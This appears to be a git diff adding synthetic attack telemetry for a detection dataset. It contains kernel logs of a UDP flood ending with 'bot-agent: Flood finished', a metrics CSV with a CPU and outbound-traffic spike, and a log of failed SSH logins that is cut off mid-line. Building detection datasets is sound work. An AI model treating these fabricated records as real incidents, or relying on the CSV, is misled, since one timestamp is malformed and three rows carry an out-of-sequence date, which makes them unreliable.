[NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=26247 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=55976 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=30157 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20198 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=62342 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36537 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16298 DPT=80 +Aug 16 18:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12766 DPT=80 +Aug 16 18:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49826 DPT=80 +Aug 16 18:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12649 DPT=80 +Aug 16 18:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48564 DPT=80 +Aug 16 18:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61292 DPT=80 +Aug 16 18:05:20 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 18:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13636 DPT=80 +Aug 16 18:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42175 DPT=80 +Aug 16 18:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=52161 DPT=80 +Aug 16 18:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29045 DPT=80 +Aug 16 18:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50921 DPT=80 +Aug 16 18:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36824 DPT=80 +Aug 16 18:05:25 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=53695 DPT=80 +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21380 DPT=80 +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29910 DPT=80 +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=23970 DPT=80 +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34461 DPT=80 +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=35979 DPT=80 +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18116 DPT=80 +Aug 16 18:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56228 DPT=80 +Aug 16 18:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=64529 DPT=80 +Aug 16 18:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47229 DPT=80 +Aug 16 18:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21173 DPT=80 +Aug 16 18:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34148 DPT=80 +Aug 16 18:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=46203 DPT=80 +Aug 16 18:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43923 DPT=80 +Aug 16 18:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=39029 DPT=80 +Aug 16 18:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43197 DPT=80 +Aug 16 18:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61491 DPT=80 +Aug 16 18:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63728 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=62683 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=25937 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38849 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36625 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40858 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44351 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45420 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56141 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=62573 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41866 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50234 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37736 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60753 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47504 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=35359 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17907 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=27350 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=27217 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40854 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37646 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45403 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15629 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65444 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45305 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17879 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38811 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34047 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21600 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17532 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13600 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48851 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13748 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15455 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29690 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48666 DPT=80 +Aug 16 18:06:00 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 18:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=31844 DPT=80 +Aug 16 18:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=23675 DPT=80 +Aug 16 18:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47449 DPT=80 +Aug 16 18:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60111 DPT=80 +Aug 16 18:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24971 DPT=80 +Aug 16 18:06:05 CRON[1973]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18099 DPT=80 +Aug 16 18:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=62501 DPT=80 +Aug 16 18:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18222 DPT=80 +Aug 16 18:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24657 DPT=80 +Aug 16 18:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56299 DPT=80 +Aug 16 18:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=54423 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63077 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41781 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63998 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17675 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11299 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=22663 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11107 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49028 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42337 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60109 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=39531 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12818 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13439 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21921 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=26879 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48713 DPT=80 +Aug 16 18:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=32983 DPT=80 +Aug 16 18:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16149 DPT=80 +Aug 16 18:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40703 DPT=80 +Aug 16 18:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41864 DPT=80 +Aug 16 18:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48034 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=58930 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=51502 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50945 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=14252 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38577 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48057 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10858 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65230 DPT=80 +Aug 16 18:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44739 DPT=80 +Aug 16 18:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45941 DPT=80 +Aug 16 18:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42493 DPT=80 +Aug 16 18:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=28606 DPT=80 +Aug 16 18:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37729 DPT=80 +Aug 16 18:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42552 DPT=80 +Aug 16 18:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18002 DPT=80 +Aug 16 18:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49825 DPT=80 +Aug 16 18:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41806 DPT=80 +Aug 16 18:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41843 DPT=80 +Aug 16 18:06:40 systemd[1]: Starting Clean php session files... +Aug 16 18:06:40 bot-agent[23499]: Flood finished. Cleaning up child processes. +Aug 16 18:07:05 CRON[1985]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_9.csv b/mali_dataset/scenario_2/mali_2_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..a438fbf82c086c06ca32414afd05eb3308c0c51f --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_9.csv @@ -0,0 +1,86 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out" +"2025-09-10T08:20:00Z,13.82,40.15,28.33,1.81,3.05" +"2025-09-10T08:20:05Z,14.91,38.86,27.16,1.91,2.54" +"2025-09-10T08:20:10Z,12.23,41.13,29.49,1.79,2.97" +"2025-09-10T08:20:15Z,15.01,39.41,26.77,2.15,2.82" +"2025-09-10T08:20:20Z,13.44,41.97,29.20,2.21,2.95" +"2025-09-10T08:20:25Z,16.16,42.84,25.62,1.98,2.51" +"2025-09-10T08:20:30Z,15.28,40.20,28.44,2.07,2.72" +"2025-09-10T08:20:35Z,18.18,39.81,25.78,1.76,3.26" +"2025-09-10T08:20:40Z,14.65,38.99,28.98,1.95,2.48" +"2025-09-10T08:20:45Z,16.63,41.01,26.02,2.11,2.99" +"2025-09-10T08:20:50Z,13.93,43.18,29.31,1.88,2.61" +"2025-09-10T08:20:55Z,15.01,40.53,24.87,2.04,2.83" +"2025-09-10T08:21:00Z,17.76,38.12,29.23,1.92,3.14" +"2025-09-10T08:21:05Z,18.21,39.32,28.53,2.18,2.76" +"2025-09-10T08:21:10Z,14.22,42.21,25.01,2.01,2.94" +"2025-09-10T08:21:15Z,16.34,41.88,28.89,1.96,2.68" +"2025-09-10T08:21:20Z,13.88,40.90,29.65,1.85,3.01" +"2025-09-10T08:21:25Z,19.95,39.10,28.76,2.24,2.91" +"2025-09-10T08:21:30Z,17.48,42.40,27.41,1.99,2.74" +"2025-09-10T08:21:35Z,15.12,41.70,26.32,2.12,3.22" +"2025-09-10T08:21:40Z,18.55,40.21,28.12,1.95,3.41" +"2025-09-10T08:21:45Z,19.15,41.33,27.89,2.01,3.12" +"2025-09-10T08:21:50Z,17.89,39.98,29.01,1.82,3.33" +"2025-09-10T08:21:55Z,19.32,40.81,28.55,2.09,3.92" +"2025-09-10T08:22:00Z,99.21,56.01,2.65,0.24,1175.55" +"2025-09-10T08:22:05Z,99.50,55.45,3.83,0.33,1220.31" +"2025-09-10T08:22:10Z,99.88,54.78,2.94,0.21,1199.87" +"2025-09-10T08:22:15Z,99.24,56.12,3.11,0.28,1280.43" +"2025-09-10T08:22:20Z,99.95,55.32,4.15,0.26,1150.21" +"2025-09-10T08:22:25Z,99.41,55.89,3.33,0.30,1250.76" +"2025-09-10T08:22:30Z,99.67,54.91,2.87,0.23,1180.91" +"2025-09-10T08:22:35Z,99.11,56.23,3.67,0.32,1299.15" +"2025-09-10T08:22:40Z,99.01,55.11,3.98,0.25,1165.88" +"2025-09-10T08:22:45Z,99.37,55.95,3.01,0.29,1233.45" +"2025-09-10T08:22:50Z,99.43,56.15,2.78,0.22,1210.23" +"2025-09-10T08:22:55Z,99.28,55.76,3.45,0.31,1205.11" +"2025-09-10T08:23:00Z,99.58,54.88,4.05,0.27,1190.47" +"2025-09-10T08:23:05Z,99.61,56.34,3.19,0.34,1280.99" +"2025-09-10T08:23:10Z,99.12,55.22,2.88,0.24,1172.19" +"2025-09-10T08:23:15Z,99.45,55.99,3.58,0.30,1245.72" +"2025-09-10T08:23:20Z,99.33,56.09,3.76,0.26,1221.54" +"2025-09-10T08:23:25Z,99.19,55.67,3.21,0.32,1211.83" +"2025-09-10T08:23:30Z,99.75,54.95,2.99,0.23,1195.61" +"2025-09-10T08:23:35Z,99.55,56.18,3.88,0.33,1265.23" +"2025-09-10T08:23:40Z,99.25,55.35,4.11,0.25,1188.76" +"2025-09-10T08:23:45Z,99.21,55.85,3.49,0.29,1228.94" +"2025-09-10T08:23:50Z,99.49,56.25,2.81,0.22,1230.17" +"2025-09-10T08:23:55Z,99.35,55.71,3.63,0.31,1239.42" +"2025-09-10T08:24:00Z,99.05,54.81,3.95,0.27,1178.34" +"2025-09-10T08:24:05Z,99.48,56.28,3.28,0.34,1275.81" +"2025-09-10T08:24:10Z,99.18,55.18,3.08,0.24,1201.01" +"2d25-09-10T08:24:15Z,99.58,56.05,3.71,0.30,1255.65" +"2025-09-10T08:24:20Z,99.39,55.42,4.02,0.26,1198.13" +"2025-09-10T08:24:25Z,99.25,55.92,3.41,0.32,1248.27" +"2025-09-10T08:24:30Z,99.81,55.05,2.91,0.23,1215.93" +"2025-09-10T08:24:35Z,99.51,56.11,3.81,0.33,1260.78" +"2025-09-10T08:24:40Z,99.29,55.28,4.19,0.25,1182.46" +"2025-09-10T08:24:45Z,99.33,55.78,3.53,0.29,1233.19" +"2025-09-10T08:24:50Z,99.61,56.19,2.85,0.22,1225.84" +"2025-09-10T08:24:55Z,99.22,55.65,3.69,0.31,1242.36" +"2025-09-10T08:25:00Z,18.15,41.85,28.99,1.87,3.71" +"2025-09-10T08:25:05Z,19.42,41.21,27.35,1.94,3.29" +"2025-09-10T08:25:10Z,18.55,40.15,28.15,2.04,3.62" +"2025-09-10T08:25:15Z,19.65,41.01,27.75,2.10,3.18" +"2025-09-10T08:25:20Z,18.42,40.48,28.08,1.96,3.45" +"2025-09-10T08:25:25Z,19.28,40.98,27.48,2.12,3.73" +"2025-09-10T08:25:30Z,18.71,40.01,27.95,1.93,3.28" +"2025-09-10T08:25:35Z,19.53,41.14,28.85,2.13,3.34" +"2025-09-10T08:25:40Z,18.31,40.25,27.15,1.95,3.91" +"2025-09-10T08:25:45Z,19.38,40.82,27.57,2.09,3.82" +"2025-09-10T08:25:50Z,18.65,40.22,27.89,2.02,3.77" +"2025-09-10T08:25:55Z,19.29,40.69,28.73,2.11,3.51" +"2025-09-10T08:26:00Z,18.22,40.89,27.03,1.97,3.18" +"2025-09-10T08:26:05Z,19.47,41.25,28.39,2.14,3.63" +"2025-09-10T08:26:10Z,18.51,40.12,27.19,2.04,3.24" +"2025-09-10T08:26:15Z,18.95,40.81,26.88,2.21,3.18" +"2025-09-10T08:26:20Z,16.22,41.76,28.14,1.95,2.76" +"2025-09-10T08:26:25Z,14.89,43.59,29.99,1.88,2.65" +"2025-09-10T08:26:30Z,17.03,40.45,26.05,2.03,2.93" +"2025-09-10T08:26:35Z,19.56,39.91,28.37,2.17,3.34" +"2025-09-10T08:26:40Z,15.76,42.01,27.81,1.91,2.88" +"2025-09-10T08:26:45Z,13.99,44.12,29.43,1.84,2.59" +"2025-07-15T10:06:50Z,18.01,42.11,16.79,1.09,2.02" +"2025-07-15T10:06:55Z,16.89,41.83,24.11,0.97,1.81" +"2025-07-15T10:07:00Z,15.33,43.22,20.57,1.14,1.99" diff --git a/mali_dataset/scenario_2/mali_2_9.log b/mali_dataset/scenario_2/mali_2_9.log new file mode 100644 index 0000000000000000000000000000000000000000..25634c0072f0fe5ef2f7d9bee2a3521ca2432a19 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_9.log @@ -0,0 +1,26 @@ +Sep 10 08:20:01 systemd[1]: Starting system activity accounting tool... +Sep 10 08:20:01 systemd[1]: sysstat.service: Succeeded. +Sep 10 08:20:01 systemd[1]: Finished system activity accounting tool. +Sep 10 08:20:30 sshd[3100]: Failed password for invalid user guest from 192.168.5.12 port 48122 ssh2 +Sep 10 08:21:05 webapp[8123]: [INFO] Health check endpoint /ping called, status: OK +Sep 10 08:21:33 sshd[3125]: Failed password for root from 10.0.2.2 port 50231 ssh2 +Sep 10 08:22:01 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.12 DST=203.0.113.42 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=61001 PROTO=UDP SPT=45001 DPT=80 LEN=1480 +Sep 10 08:22:02 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.12 DST=203.0.113.42 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=61002 PROTO=UDP SPT=45002 DPT=80 LEN=1480 +Sep 10 08:22:08 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.12 DST=203.0.113.42 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=61003 PROTO=UDP SPT=45003 DPT=80 LEN=1480 +Sep 10 08:22:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.12 DST=203.0.113.42 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=61004 PROTO=UDP SPT=45004 DPT=80 LEN=1480 +Sep 10 08:22:30 webapp[8123]: [ERROR] Service unavailable: upstream connection error +Sep 10 08:22:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.12 DST=203.0.113.42 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=61005 PROTO=UDP SPT=45005 DPT=80 LEN=1480 +Sep 10 08:22:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.12 DST=203.0.113.42 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=61006 PROTO=UDP SPT=45006 DPT=80 LEN=1480 +Sep 10 08:23:01 CRON[3150]: (root) CMD ( /usr/lib/snapd/snapd --review) +Sep 10 08:23:11 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.12 DST=203.0.113.42 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=61007 PROTO=UDP SPT=45007 DPT=80 LEN=1480 +Sep 10 08:23:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.12 DST=203.0.113.42 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=61008 PROTO=UDP SPT=45008 DPT=80 LEN=1480 +Sep 10 08:23:45 webapp[8123]: [ERROR] Health check endpoint /ping called, status: FAIL, reason: high CPU load +Sep 10 08:23:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.12 DST=203.0.113.42 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=61009 PROTO=UDP SPT=45009 DPT=80 LEN=1480 +Sep 10 08:24:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.12 DST=203.0.113.42 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=61010 PROTO=UDP SPT=45010 DPT=80 LEN=1480 +Sep 10 